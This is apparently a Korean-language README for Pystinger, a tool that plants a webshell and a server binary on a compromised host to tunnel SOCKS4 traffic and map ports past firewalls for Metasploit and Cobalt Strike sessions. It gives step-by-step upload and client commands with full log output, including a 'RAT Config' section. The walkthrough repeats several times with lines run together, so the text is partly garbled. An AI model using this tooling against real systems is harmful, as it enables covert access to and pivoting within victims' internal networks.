
웹쉘을 이용한 트래픽 전달 방화벽 우회
영어 | 简体中文
Pystinger는 webshell을 통해 SOCK4 프록시 및 포트 매핑을 구현합니다.
메타스플로이트 프레임워크, viper, cobalt strike에서 세션 온라인에 직접 사용할 수 있습니다.
Pystinger는 파이썬으로 개발되었으며, 현재 php, jsp(x) 및 aspx의 세 가지 프록시 스크립트를 지원합니다.
서버의 도메인 이름이 http://example.com:8080이고, 서버 내부망의 내부 IP 주소가 192.168.3.11이라고 가정합니다.
proxy.jsp를 대상 서버에 업로드하고 http://example.com:8080/proxy.jsp에 접근 가능한지 확인합니다. 페이지가 UTF-8을 반환합니다.stinger_server.exe를 대상 서버에 업로드하고, AntSword에서 cmd를 실행하여 start D:/XXX/stinger_server.exe로 pystinger-server를 시작합니다.
D:/xxx/singer_server.exe를 직접 실행하지 마십시오. TCP 연결이 끊어질 수 있습니다.
./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000을 실행합니다.root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
127.0.0.1:60000에서 example.com의 내부망을 위한 socks4a 프록시가 시작되었습니다.example.com) 127.0.0.1:60020가 VPS 127.0.0.1:60020에 매핑되었습니다.proxy.jsp를 대상 서버에 업로드하고 http://example.com:8080/proxy.jsp에 접근 가능한지 확인합니다. 페이지가 UTF-8을 반환합니다.stinger_server.exe를 대상 서버에 업로드하고, AntSword에서 cmd를 실행하여 start D:/XXX/stinger_server.exe로 pystinger-server를 시작합니다.
D:/xxx/singer_server.exe를 직접 실행하지 마십시오. TCP 연결이 끊어질 수 있습니다.
./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000을 실행합니다.root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
60020 (출력의 RAT CONFIG에서 Handler/LISTEN 포트), 리스너 주소는 127.0.0.1입니다.proxy.jsp를 대상 서버에 업로드하고 http://example.com:8080/proxy.jsp에 접근 가능한지 확인합니다. 페이지가 UTF-8을 반환합니다.stinger_server.exe를 대상 서버에 업로드하고, AntSword에서 cmd를 실행하여 start D:/XXX/stinger_server.exe 192.168.3.11로 pystinger-server를 시작합니다. (192.168.3.11은 대상의 내부 IP 주소)192.168.3.11은 0.0.0.0으로 변경 가능
./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000을 실행합니다.root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
60020 (출력의 RAT CONFIG에서 Handler/LISTEN 포트), 리스너 주소는 192.168.3.11입니다.webshell에 쿠키나 인증을 구성해야 하는 경우, --header 매개변수를 통해 요청 헤더를 구성할 수 있습니다.
--header "Authorization: XXXXXX,Cookie: XXXXX"
webshell을 프록시를 통해 접근해야 하는 경우, --proxy를 통해 프록시를 설정할 수 있습니다.
--proxy "socks5:127.0.0.1:1081"
https://github.com/nccgroup/ABPTTS
https://github.com/sensepost/reGeorg
https://github.com/SECFORCE/Tunna
2.0 업데이트 날짜: 2019-09-29
2.1 업데이트 날짜: 2020-01-07
개발은 jetbrains의 소프트웨어 지원을 받았습니다.
https://www.jetbrains.com/?from=pystinger